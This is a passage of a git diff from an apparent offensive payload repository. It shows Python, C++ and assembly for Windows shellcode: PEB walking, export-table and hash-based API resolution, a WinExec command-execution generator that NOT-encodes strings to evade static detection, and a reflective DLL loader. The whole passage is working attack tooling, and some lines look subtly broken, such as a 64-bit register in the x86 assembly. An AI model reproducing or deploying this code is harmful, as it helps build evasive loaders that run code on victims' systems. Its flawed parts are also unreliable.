AddressTable -add r10, r8 ; R10 = &AddressTable -""" - -def get_namepointer_table() -> str: - return """ -; Get &NamePointerTable from Kernel32.dll ExportTable -xor r11, r11 -mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable -add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) -""" - -def get_ordinal_table() -> str: - return """ -; Get &OrdinalTable from Kernel32.dll ExportTable -xor r12, r12 -mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable -add r12, r8 ; R12 = &OrdinalTable -""" - -def jump_to_apis() -> str: - return "jmp short apis" - -def def_getapiaddr() -> str: - return """ -; Get the address of the API from the Kernel32.dll ExportTable -getapiaddr: -pop rbx ; save the return address for ret 2 caller after API address is found -pop rcx ; Get the string length counter from stack -xor rax, rax ; Setup Counter for resolving the API Address after finding the name string -mov rdx, rsp ; RDX = Address of API Name String to match on the Stack -push rcx ; push the string length counter to stack -""" - -def def_loop() -> str: - return """ -loop: -mov rcx, [rsp] ; reset the string length counter from the stack -xor rdi,rdi ; Clear RDI for setting up string name retrieval -mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] -add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll -mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) -repe cmpsb ; Compare strings at RDI & RSI -je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API -""" - -def def_incloop() -> str: - return """ -incloop: -inc rax -jmp short loop -""" - -def def_resolveaddr() -> str: - return """ -; Find the address of GetProcAddress by using the last value of the Counter -resolveaddr: -pop rcx ; remove string length counter from top of stack -mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32. -mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] -add rax, r8 ; RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddress -push rbx ; place the return address from the api string call back on the top of the stack -ret ; return to API caller -""" - -def def_api() -> str: - return """ -apis: ; API Names to resolve addresses -xor rcx, rcx -add cl, 0x7 ; String length (len("WinExec") => 7) for comparing string -mov rax, 0x9C9A87BA9196A80F ; not (reverse the bits) 0x9C9A87BA9196A80F = 0xF0,WinExec -not rax -shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll -push rax -push rcx ; push the string length counter to stack -call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable -mov r14, rax ; R14 = Kernel32.WinExec Address -""" - -def call_api(cmd_hexarr: List[str], shr_hex: str) -> str: - asm = f""" -; UINT WinExec( -; LPCSTR lpCmdLine, => RCX = "example.exe",0x0 -; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL -; ); -xor rcx, rcx -mul rcx ; RAX & RDX & RCX = 0x0 -push rax ; Null terminate string on stack -""" - - if shr_hex == '0': - for cmd_hex in cmd_hexarr: - asm += f""" -mov rax, 0x{cmd_hex} -push rax -""" - - else: - for i in range(0, len(cmd_hexarr)): - if i == 0: - asm += f""" -mov rax, 0x{cmd_hexarr[i]} -shr rax, 0x{shr_hex} -push rax -""" - else: - asm += f""" -mov rax, 0x{cmd_hexarr[i]} -push rax -""" - - # Push remaining argument - asm += """ -mov rcx, rsp -inc rdx ; RDX = 0x1 = SW_SHOWNORMAL -sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) -call r14 ; Call WinExec("example.exe", SW_SHOWNORMAL) -""" - - return asm - -def generate(cmd: str) -> str: - # cmd_hexarr = ["0x9A879AD19C939E9C"] # calc.exe - cmd_hexarr, shr_hex = convert.str2hex(cmd, True) - print("cmd_hexarr", cmd_hexarr) - print("shr_hex: ", shr_hex) - - asm = "" - asm += get_kernel32_addr() - asm += get_exporttable_addr() - asm += get_address_table() - asm += get_namepointer_table() - asm += get_ordinal_table() - asm += jump_to_apis() - asm += def_getapiaddr() - asm += def_loop() - asm += def_incloop() - asm += def_resolveaddr() - asm += def_api() - asm += call_api(cmd_hexarr, shr_hex) - return asm diff --git a/payload/win/shellcode/script/calc_hash_func.py b/payload/win/shellcode/script/calc_hash_func.py new file mode 100644 index 0000000..3d358fc --- /dev/null +++ b/payload/win/shellcode/script/calc_hash_func.py @@ -0,0 +1,58 @@ +from typing import Mapping + +FUNCS = [ + # NTAPI + "NtFlushInstructionCache", + + # WINAPI + "DllMain", + "GetProcAddress", + "LoadLibraryA", + "LoadLibraryW", + "MessageBoxA", + "MessageBoxW", + "VirtualAlloc", + "VirtualProtect", +] + +HASH_IV = 0x35 +RANDOM_ADDR = 0xab10f29f + +def calc_hash(string: str) -> int: + hash = HASH_IV + + for s in string: + # hash = ((hash << 5) + hash) + ord(s) + hash = hash * RANDOM_ADDR + ord(s) + + return hash & 0xFFFFFFFF + + +def is_dupl(hashes: Mapping[str, str], hash: str) -> bool: + for v in hashes.values(): + if v == hash: + return True + return False + + +def main(): + hashes = {} + + for func in FUNCS: + hash_value = calc_hash(func) + hash_fmt = f"{'0x{0:x}'.format(hash_value)}" + # Check if the hash is duplicate + if is_dupl(hashes, hash_fmt) is True: + print("The calculated hash is duplicate. Please try again.") + return + hashes[f"#define HASH_FUNC_{func.upper()}"] = hash_fmt + + max_length = max(len(api_name) for api_name in hashes.keys()) + + for api_name, api_hash in hashes.items(): + print(f"{api_name.ljust(max_length)} {api_hash}") + + +if __name__ == "__main__": + print("Set the following defines to a header file such as 'procs.hpp'.\n") + main() diff --git a/payload/win/shellcode/script/calc_hash_module b/payload/win/shellcode/script/calc_hash_module new file mode 100755 index 0000000..2e0885c Binary files /dev/null and b/payload/win/shellcode/script/calc_hash_module differ diff --git a/payload/win/shellcode/script/calc_hash_module.cpp b/payload/win/shellcode/script/calc_hash_module.cpp new file mode 100644 index 0000000..e2c75f0 --- /dev/null +++ b/payload/win/shellcode/script/calc_hash_module.cpp @@ -0,0 +1,75 @@ +#include +#include +#include +#include +#include +#include + +#define HASH_IV 0x35 +#define RANDOM_ADDR 0xab10f29f + +char* toUpper(const char* str) +{ + size_t dwLen = strlen(str); + char result[dwLen + 1]; + + for (size_t i = 0; i < dwLen; i++) + { + result[i] = toupper(str[i]); + } + result[dwLen] = '\0'; + + return strdup(result); +} + +unsigned long calcHash(const char* str) +{ + unsigned long hash = HASH_IV; + const unsigned char* s = (const unsigned char*)str; + + while (*s) + { + hash = hash * RANDOM_ADDR + (*s); + *s++; + } + + return hash & 0xFFFFFFFF; +} + +int main() +{ + std::map myMap; + + char modules[3][30] = {"kernel32.dll", "ntdll.dll", "user32.dll"}; + + for (int i = 0; i < 3; i++) + { + char* moduleUpper = toUpper(modules[i]); + + // Make a key + char buffer[100]; + std::sprintf(buffer, "#define HASH_MODULE_%s", moduleUpper); + std::string key(buffer); + // Remvoe '.DLL' from the key. + key = key.substr(0, key.length() - 4); + + myMap[key] = calcHash(modules[i]); + } + + // Get max key length for the map. + size_t maxLen = 0; + for (const auto& pair : myMap) + { + size_t keyLen = pair.first.length(); + if (keyLen > maxLen) + { + maxLen = keyLen; + } + } + + // Output + for (const auto& pair : myMap) + { + printf("%-*s 0x%lx\n", static_cast(maxLen), pair.first.c_str(), pair.second); + } +} \ No newline at end of file diff --git a/payload/win/shellcode/script/extract.py b/payload/win/shellcode/script/extract.py new file mode 100644 index 0000000..0bacff7 --- /dev/null +++ b/payload/win/shellcode/script/extract.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- +import pefile +import argparse + +if __name__ in '__main__': + try: + parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' ) + parser.add_argument('-f', required = True, help = 'Path to the source executable', type = str) + parser.add_argument('-o', required = True, help = 'Path to store the output raw binary', type = str) + option = parser.parse_args() + + PeExe = pefile.PE(option.f) + PeSec = PeExe.sections[0].get_data() + + if PeSec.find( b'ENDOFCODE' ) != None: + ScRaw = PeSec[:PeSec.find(b'ENDOFCODE')] + f = open(option.o, 'wb+') + f.write(ScRaw) + f.close() + else: + print('[!] error: no ending tag') + except Exception as e: + print('[!] error: {}'.format(e)) diff --git a/payload/win/shellcode/script/linker.ld b/payload/win/shellcode/script/linker.ld new file mode 100644 index 0000000..fe06e1e --- /dev/null +++ b/payload/win/shellcode/script/linker.ld @@ -0,0 +1,13 @@ +SECTIONS +{ + .text : + { + *(.text$A) + *(.text$B) + *(.text$C) + *(.text$D) + *(.text$E) + *(.rdata*) + *(.text$F) + } +} \ No newline at end of file diff --git a/payload/win/shellcode/script/shellcode_generator.py b/payload/win/shellcode/script/shellcode_generator.py deleted file mode 100644 index 9bff517..0000000 --- a/payload/win/shellcode/script/shellcode_generator.py +++ /dev/null @@ -1,68 +0,0 @@ -import argparse -import os -import subprocess - -from asm import exec as asm_exec - -ASM_FILE = "/tmp/shellcode_generator.asm" -OBJ_FILE = "/tmp/shellcode_generator.o" - -def delete_tmp_files(): - if os.path.isfile(ASM_FILE): - os.remove(ASM_FILE) - if os.path.isfile(OBJ_FILE): - os.remove(OBJ_FILE) - -def compile_asm(type: str, type_args: str) -> bool: - asm_code = "" - - if type == "exec": - asm_code = asm_exec.generate(type_args) - - # Write the assembly code to file. - with open(ASM_FILE, "w") as f: - f.write(asm_code) - - # Compile assembly. - result = subprocess.call(["nasm", "-f", "win64", "-o", OBJ_FILE, ASM_FILE]) - if result != 0: - return False - - return True - -def extract_shellcode() -> bytes: - # Extract shellcode from object file. - objdump_output = subprocess.check_output(["objdump", "-D", OBJ_FILE]).decode() - - shellcode_lines = objdump_output.splitlines() - shellcode = "" - for line in shellcode_lines: - if len(line) > 0 and line[0] == ' ': - shellcode += line.split('\t')[1].replace(" ", "") - - # Convert hex to binary data - binary_data = bytes.fromhex(shellcode) - - return binary_data - -def main(): - parser = argparse.ArgumentParser(description="Shellcode Generator") - parser.add_argument('-t', '--type', help='Shellcode type e.g. "exec", "dll-loader"') - parser.add_argument('-c', '--cmd', help='Command name e.g. "calc.exe". This option must be specified for the "exec" type') - parser.add_argument('-o', '--output', help='Output file') - args = parser.parse_args() - - if compile_asm(args.type, args.cmd) is False: - delete_tmp_files() - return - - binary_data = extract_shellcode() - - # Write to out file - with open(args.output, "wb") as f: - f.write(binary_data) - - delete_tmp_files() - -if __name__ == "__main__": - main() diff --git a/payload/win/shellcode/script/utils/convert.py b/payload/win/shellcode/script/utils/convert.py deleted file mode 100644 index 6a4b6de..0000000 --- a/payload/win/shellcode/script/utils/convert.py +++ /dev/null @@ -1,48 +0,0 @@ -from typing import List, Tuple - -# Convert string to ASCII code for assembly. -# e.g. calc.exe -(HEX)-> 63616c632e657865 -(LITTLE-ENDIAN)-> 6578652e636c6163 -(NOT)-> 9A879AD19C939E9C -# If set 'not_op' to True, avoid to detect it in static analysis. -def str2hex(text: str, not_op: bool) -> Tuple[List[str], str]: - # str -> hex - cmd_hex = text.encode('utf-8').hex() - - # Split into 16-digit - chunks = [cmd_hex[i:i+16] for i in range(0, len(cmd_hex), 16)] - - for i in range(0, len(chunks)): - # hex -> hex(little-endian) - chunks[i] = bytes.fromhex(chunks[i])[::-1].hex() - - # Get the shift right number for the last element (it's used for `shr rax, 0x[hex_num]` in assembly) - shr_hex = hex((16 - len(chunks[-1])) * 4)[2:] - - # Fill with 'f' for the last element - if len(chunks[-1]) < 16: - chunks[-1] = chunks[-1].ljust(16, "f") - - # Lastly, reverse the chunks - chunks.reverse() - - return chunks, shr_hex - - - # if not_op is False: - # hexarr.append('0x' + cmd_hex_little) - # else: - # # NOT operations - # not_result = "" - # max_len = 16 - # # for i in range(0, max_len, 2): - # for i in range(0, len(cmd_hex_little), 2): - # try: - # hex_chars = cmd_hex_little[i:i+2] - # hex_chars_not_int = ~int(hex_chars, 16) - # hex_chars_not = format(hex_chars_not_int & 0xFF, '02x') - # not_result += hex_chars_not - # except: - # not_result += '' - - - # hexarr.append('0x' + not_result) - \ No newline at end of file diff --git a/payload/win/shellcode/src/asm/rfl.x64.asm b/payload/win/shellcode/src/asm/rfl.x64.asm new file mode 100644 index 0000000..c7f5d8a --- /dev/null +++ b/payload/win/shellcode/src/asm/rfl.x64.asm @@ -0,0 +1,39 @@ +extern Entry + +global AlignRSP +global ReflectiveCaller + +section .text$A + + AlignRSP: + push rsi + mov rsi, rsp + and rsp, 0x0FFFFFFFFFFFFFFF0 + sub rsp, 0x020 + call Entry + mov rsp, rsi + pop rsi + ret + +section .text$F + + ReflectiveCaller: + call caller + caller: + pop rcx + + loop: + xor rbx, rbx + mov ebx, 0x5A4D + inc rcx + cmp bx, [rcx] + jne loop + xor rax, rax + mov ax, [rcx + 0x3C] + add rax, rcx + xor rbx, rbx + add bx, 0x4550 + cmp bx, [rax] + jne loop + mov rax, rcx + ret \ No newline at end of file diff --git a/payload/win/shellcode/src/asm/rfl.x86.asm b/payload/win/shellcode/src/asm/rfl.x86.asm new file mode 100644 index 0000000..cb79077 --- /dev/null +++ b/payload/win/shellcode/src/asm/rfl.x86.asm @@ -0,0 +1,39 @@ +extern Entry + +global AlignRSP +global ReflectiveCaller + +section .text$A + + AlignRSP: + push esi + mov esi, esp + and esp, 0x0FFFFFFF0 + sub esp, 0x020 + call Entry + mov esp, esi + pop esi + ret + +section .text$F + + ReflectiveCaller: + call caller + caller: + pop ecx + + loop: + xor ebx, ebx + mov ebx, 0x5A4D + inc ecx + cmp bx, [ecx] + jne loop + xor eax, eax + mov ax, [rcx + 0x3C] + add eax, ecx + xor ebx, ebx + add bx, 0x4550 + cmp bx, [eax] + jne loop + mov eax, ecx + ret \ No newline at end of file diff --git a/payload/win/shellcode/src/asm/rsl.x64.asm b/payload/win/shellcode/src/asm/rsl.x64.asm deleted file mode 100644 index 9a98a71..0000000 --- a/payload/win/shellcode/src/asm/rsl.x64.asm +++ /dev/null @@ -1,24 +0,0 @@ -global ReflectiveCaller - -section .text - - ReflectiveCaller: - call pop - pop: - pop rcx - - loop: - xor rbx, rbx - mov ebx, 0x5A4D - dec rcx - cmp bx, word ds:[rcx] - jne loop - xor rax, rax - mov ax, [rcx + 0x3C] - add rax, rcx - xor rbx, rbx - add bx, 0x4550 - cmp bx, word ds:[rax] - jne loop - mov rax, rcx - ret \ No newline at end of file diff --git a/payload/win/shellcode/src/asm/rsl.x86.asm b/payload/win/shellcode/src/asm/rsl.x86.asm deleted file mode 100644 index 544115a..0000000 --- a/payload/win/shellcode/src/asm/rsl.x86.asm +++ /dev/null @@ -1,24 +0,0 @@ -global _ReflectiveCaller - -section .text - - _ReflectiveCaller: - call pop - pop: - pop ecx - - loop: - xor ebx, ebx - mov ebx, 0x5A4D - dec ecx - cmp bx, word ds:[ecx] - jne loop - xor eax, eax - mov ax, [ecx + 0x3C] - add eax, ecx - xor ebx, ebx - add bx, 0x4550 - cmp bx, word ds:[eax] - jne loop - mov eax, ecx - ret \ No newline at end of file diff --git a/payload/win/shellcode/src/core/modules.cpp b/payload/win/shellcode/src/core/modules.cpp deleted file mode 100644 index 7e36e68..0000000 --- a/payload/win/shellcode/src/core/modules.cpp +++ /dev/null @@ -1,50 +0,0 @@ -#include "core/modules.hpp" - -namespace Modules -{ - HMODULE GetModuleByName(WCHAR* wModuleName) - { - PPEB pPeb = nullptr; - #ifdef _WIN64 - pPeb = (PPEB)__readgsqword(0x60); - #else - pPeb = (PPEB)__readfsqword(0x30); - #endif - - // Get the Ldr pointer - PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr); - - // Get the first entry - PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink); - - while (pDte) - { - if (pDte->FullDllName.Length != (USHORT)0x0) - { - WCHAR* wCurrModuleName = pDte->FullDllName.Buffer; - - SIZE_T i = 0; - for (i = 0; wCurrModuleName[i] != 0 && wModuleName[i] != 0; i++) - { - WCHAR w1, w2; - TO_LOWERCASE(wCurrModuleName[i], w1); - TO_LOWERCASE(wModuleName[i], w2); - if (w1 != w2) break; - } - - if (wCurrModuleName[i] == 0 && wModuleName[i] == 0) - { - HMODULE hBase = (HMODULE)(pDte->InInitializationOrderLinks.Flink); - return hBase; - } - } - else - break; - - // Get the next entry - pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); - } - - return nullptr; - } -} \ No newline at end of file diff --git a/payload/win/shellcode/src/core/procs.cpp b/payload/win/shellcode/src/core/procs.cpp index 0c8da0b..99f937d 100644 --- a/payload/win/shellcode/src/core/procs.cpp +++ b/payload/win/shellcode/src/core/procs.cpp @@ -2,24 +2,104 @@ namespace Procs { - PVOID GetProcAddressByName(HANDLE hBase, CONST CHAR* sFuncName, SIZE_T dwFuncNameLen) + // It's used to calculate hash for modules. + SEC(text, B) ULONG StringToHashModule(WCHAR* wStr, SIZE_T dwStrLen) { - PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hBase; - PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(hBase + pDosHeader->e_lfanew); + ULONG dwHash = HASH_IV; + WCHAR* pwStr = wStr; + SIZE_T dwCnt = 0; - PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(hBase + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + do + { + WCHAR c = *pwStr; + + if (!c) + { + break; + } + + // If a character is uppercase, convert it to lowercase. + if (c >= L'A' && c <= L'Z') + { + c += L'a' - L'A'; + } + + dwHash = dwHash * RANDOM_ADDR + c; + ++pwStr; + dwCnt++; + + if (dwStrLen > 0 && dwCnt >= dwStrLen) + { + break; + } + } while (TRUE); + + return dwHash & 0xFFFFFFFF; + } + + // It's used to calculate hash for functions. + SEC(text, B) DWORD StringToHashFunc(char* str) + { + int c; + DWORD dwHash = HASH_IV; + + while (c = *str++) + { + dwHash = dwHash * RANDOM_ADDR + c; + } + + return dwHash & 0xFFFFFFFF; + } + + SEC(text, B) PVOID GetModuleByHash(DWORD dwHash) + { + PPEB pPeb = (PPEB)PPEB_PTR; + PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr; + + // Get the first entry + PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)pLdr->InLoadOrderModuleList.Flink; + + while (pDte) + { + if (StringToHashModule(pDte->BaseDllName.Buffer, pDte->BaseDllName.Length) == dwHash) + { + return pDte->DllBase; + } + + // Get the next entry + pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); + } + + return nullptr; + } + + SEC(text, B) PVOID GetProcAddressByHash(HMODULE hModule, DWORD dwHash) + { + PVOID pFuncAddr = nullptr; + + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule; + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + pDosHeader->e_lfanew); + + PIMAGE_EXPORT_DIRECTORY pExportDirRVA = (PIMAGE_EXPORT_DIRECTORY)( + (DWORD_PTR)hModule + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + ); - PDWORD pdwFuncNames = (PDWORD)(hBase + pExportDir->AddressOfNames); - PDWORD pdwFuncAddresses = (PDWORD)(hBase + pExportDir->AddressOfFunctions); - PWORD pwFuncNameOrdinals = (PWORD)(hBase + pExportDir->AddressOfNameOrdinals); + PDWORD pdwAddrOfFuncsRVA = (PDWORD)((DWORD_PTR)hModule + pExportDirRVA->AddressOfFunctions); + PDWORD pdwAddrOfNamesRVA = (PDWORD)((DWORD_PTR)hModule + pExportDirRVA->AddressOfNames); + PWORD pdwAddrOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)hModule + pExportDirRVA->AddressOfNameOrdinals); - for (DWORD i = 0; i < pExportDir->NumberOfFunctions; i++) + for (DWORD i = 0; i < pExportDirRVA->NumberOfFunctions; i++) { - CHAR* pFuncName = (CHAR*)(hBase + pdwFuncNames[i]); + DWORD dwFuncNameRVA = pdwAddrOfNamesRVA[i]; + DWORD_PTR dwpFuncNameRVA = (DWORD_PTR)hModule + dwFuncNameRVA; + char* sFuncName = (char*)dwpFuncNameRVA; + DWORD_PTR dwpFuncAddrRVA = 0; - if (Utils::MemCmp(pFuncName, sFuncName, dwFuncNameLen) == 0) + DWORD dwFuncNameHash = StringToHashFunc(sFuncName); + if (dwFuncNameHash == dwHash) { - PVOID pFuncAddr = (PVOID)(hBase + pdwFuncAddresses[pwFuncNameOrdinals[i]]); + dwpFuncAddrRVA = pdwAddrOfFuncsRVA[pdwAddrOfNameOrdinalsRVA[i]]; + pFuncAddr = (PVOID)((DWORD_PTR)hModule + dwpFuncAddrRVA); return pFuncAddr; } } diff --git a/payload/win/shellcode/src/core/utils.cpp b/payload/win/shellcode/src/core/utils.cpp deleted file mode 100644 index 9d4975d..0000000 --- a/payload/win/shellcode/src/core/utils.cpp +++ /dev/null @@ -1,37 +0,0 @@ -#include "core/utils.hpp" - -namespace Utils -{ - INT MemCmp(const void* str1, const void* str2, SIZE_T n) - { - CONST UCHAR* s1 = (CONST UCHAR*)str1; - CONST UCHAR* s2 = (CONST UCHAR*)str2; - - while (n--) - { - if (*s1 != *s2) - { - return *s1 - *s2; - } - s1++; - s2++; - } - return 0; - } - - // Reference: - // https://github.com/HavocFramework/Havoc/blob/ea3646e055eb1612dcc956130fd632029dbf0b86/payloads/DllLdr/Source/Entry.c#L393 - SIZE_T StrLenA(LPCSTR str) - { - LPCSTR str2 = str; - for (str2 = str; *str2; ++str2); - return (str2 - str); - } - - SIZE_T StrLenW(LPCWSTR str) - { - LPCWSTR str2; - for (str2 = str; *str2; ++str2); - return (str2 - str); - } -} \ No newline at end of file diff --git a/payload/win/shellcode/src/entry.cpp b/payload/win/shellcode/src/entry.cpp index 08942a5..46d44f3 100644 --- a/payload/win/shellcode/src/entry.cpp +++ b/payload/win/shellcode/src/entry.cpp @@ -3,377 +3,275 @@ using DLLEntry = BOOL(WINAPI *)(HINSTANCE dll, DWORD reason, LPVOID reserved); // For 64 bit shellcodes we will set this as the entrypoint -void AlignRSP() -{ - // AT&T syntax - // asm("push %rsi\n" - // "mov % rsp, % rsi\n" - // "and $0x0FFFFFFFFFFFFFFF0, % rsp\n" - // "sub $0x020, % rsp\n" - // "call Entry\n" - // "mov % rsi, % rsp\n" - // "pop % rsi\n" - // "ret\n"); - - // Intel syntax - asm("push rsi\n" - "mov rsi, rsp\n" - "and rsp, 0x0FFFFFFFFFFFFFFF0\n" - "sub rsp, 0x020\n" - "call Entry\n" - "mov rsp, rsi\n" - "pop rsi\n" - "ret\n"); -} - -int Entry() -{ - // Brute force DLL base address - ULONG_PTR uLibAddr = (ULONG_PTR)ReflectiveCaller(); - // ULONG_PTR uLibAddr = (ULONG_PTR)ReflectiveDllLoader; - - LOADLIBRARYA pLoadLibraryA = NULL; - GETPROCADDRESS pGetProcAddress = NULL; - VIRTUALALLOC pVirtualAlloc = NULL; - NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; - - ULONG_PTR uBaseAddr; - ULONG_PTR uExportDir; - ULONG_PTR uNames; - ULONG_PTR uNameOrdinals; - ULONG_PTR uAddresses; - DWORD dwHashValue; - - ULONG_PTR uHeaderValue; - ULONG_PTR uValueA; - ULONG_PTR uValueB; - ULONG_PTR uValueC; - ULONG_PTR uValueD; - ULONG_PTR uValueE; - - USHORT uCounter; - - while (TRUE) +// void AlignRSP() +// { +// // AT&T syntax +// // asm("push %rsi\n" +// // "mov % rsp, % rsi\n" +// // "and $0x0FFFFFFFFFFFFFFF0, % rsp\n" +// // "sub $0x020, % rsp\n" +// // "call Entry\n" +// // "mov % rsi, % rsp\n" +// // "pop % rsi\n" +// // "ret\n"); + +// // Intel syntax +// asm("push rsi\n" +// "mov rsi, rsp\n" +// "and rsp, 0x0FFFFFFFFFFFFFFF0\n" +// "sub rsp, 0x020\n" +// "call Entry\n" +// "mov rsp, rsi\n" +// "pop rsi\n" +// "ret\n"); +// } + +VOID ResolveIAT( + LPVOID lpVirtualAddr, + LPVOID lpIatDir, + Procs::LPPROC_LOADLIBRARYA lpLoadLibraryA, + Procs::LPPROC_GETPROCADDRESS lpGetProcAddress +) { + PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = nullptr; + + for (pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)lpIatDir; pImportDescriptor->Name != 0; ++pImportDescriptor) { - if (((PIMAGE_DOS_HEADER)uLibAddr)->e_magic == IMAGE_DOS_SIGNATURE) - { - uHeaderValue = ((PIMAGE_DOS_HEADER)uLibAddr)->e_lfanew; - - if (sizeof(IMAGE_DOS_HEADER) <= uHeaderValue && uHeaderValue < 1024) - { - uHeaderValue += uLibAddr; - if (((PIMAGE_NT_HEADERS)uHeaderValue)->Signature == IMAGE_NT_SIGNATURE) - break; - } - } - uLibAddr--; - } + HMODULE hImportModule = lpLoadLibraryA( + (LPCSTR)((ULONG_PTR)lpVirtualAddr + pImportDescriptor->Name) + ); - // Get pointer to PEB - #ifdef _WIN64 - uBaseAddr = __readgsqword(0x60); - #else - uBaseAddr = __readfsqword(0x30); - #endif - - uBaseAddr = (ULONG_PTR)((PPEB)uBaseAddr)->Ldr; - - uValueA = (ULONG_PTR)((PPEB_LDR_DATA)uBaseAddr)->InMemoryOrderModuleList.Flink; - while (uValueA) - { - uValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY_R)uValueA)->BaseDllName.Buffer; - uCounter = ((PLDR_DATA_TABLE_ENTRY_R)uValueA)->BaseDllName.Length; - uValueC = 0; + PIMAGE_THUNK_DATA pOriginalTD = (PIMAGE_THUNK_DATA)((ULONG_PTR)lpVirtualAddr + pImportDescriptor->OriginalFirstThunk); + PIMAGE_THUNK_DATA pFirstTD = (PIMAGE_THUNK_DATA)((ULONG_PTR)lpVirtualAddr + pImportDescriptor->FirstThunk); - do + for (; pOriginalTD->u1.Ordinal != 0; ++pOriginalTD, ++pFirstTD) { - uValueC = rotate((DWORD)uValueC); - if (*((BYTE*)uValueB) >= 'a') - uValueC += *((BYTE*)uValueB) - 0x20; - else - uValueC += *((BYTE*)uValueB); - uValueB++; - } while (--uCounter); - - // Compare the hash with the that of kernel32.dll - if ((DWORD)uValueC == HASH_KERNEL32DLL) - { - // get this modules base address - uBaseAddr = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY_R)uValueA)->DllBase; - - // get the VA of the modules NT Header - uExportDir = uBaseAddr + ((PIMAGE_DOS_HEADER)uBaseAddr)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uNames = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - - // get the VA of the export directory - uExportDir = (uBaseAddr + ((PIMAGE_DATA_DIRECTORY)uNames)->VirtualAddress); - - // get the VA for the array of name pointers - uNames = (uBaseAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfNames); - - // get the VA for the array of name ordinals - uNameOrdinals = (uBaseAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfNameOrdinals); - - uCounter = 3; - - // Loop while we still have imports to find - while (uCounter > 0) - { - // compute the hash values for this function name - dwHashValue = hash((char*)(uBaseAddr + DEREF_32(uNames))); - - // if we have found a function we want we get its virtual address - if( - dwHashValue == HASH_LOADLIBRARYA || - dwHashValue == HASH_GETPROCADDRESS || - dwHashValue == HASH_VIRTUALALLOC - ) { - // get the VA for the array of addresses - uAddresses = (uBaseAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfFunctions); + if (IMAGE_SNAP_BY_ORDINAL(pOriginalTD->u1.Ordinal)) + { + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)hImportModule + ((PIMAGE_DOS_HEADER)hImportModule)->e_lfanew); + PIMAGE_DATA_DIRECTORY pImageDir = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)hImportModule + (ULONG_PTR)lpIatDir); - // use this functions name ordinal as an index into the array of name pointers - uAddresses += (DEREF_16(uNameOrdinals) * sizeof(DWORD)); + ULONG_PTR uFuncAddresses = (ULONG_PTR)hImportModule + pExportDir->AddressOfFunctions; + uFuncAddresses += ((IMAGE_ORDINAL(pOriginalTD->u1.Ordinal) - pExportDir->Base) * sizeof(DWORD)); - // store this functions VA - if(dwHashValue == HASH_LOADLIBRARYA) - pLoadLibraryA = (LOADLIBRARYA)(uBaseAddr + DEREF_32(uAddresses)); - else if(dwHashValue == HASH_GETPROCADDRESS) - pGetProcAddress = (GETPROCADDRESS)(uBaseAddr + DEREF_32(uAddresses)); - else if(dwHashValue == HASH_VIRTUALALLOC ) - pVirtualAlloc = (VIRTUALALLOC)(uBaseAddr + DEREF_32(uAddresses)); - - // decrement our counter - uCounter--; + ULONGLONG lpFunc = (ULONGLONG)((ULONG_PTR)hImportModule + uFuncAddresses); + if (lpFunc) + { + pFirstTD->u1.Function = lpFunc; } - - // get the next exported function name - uNames += sizeof(DWORD); - // get the next exported function name ordinal - uNameOrdinals += sizeof(WORD); - } - } - else if ((DWORD)uValueC == HASH_NTDLLDLL) - { - // get this modules base address - uBaseAddr = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY_R)uValueA)->DllBase; - - // get the VA of the modules NT Header - uExportDir = uBaseAddr + 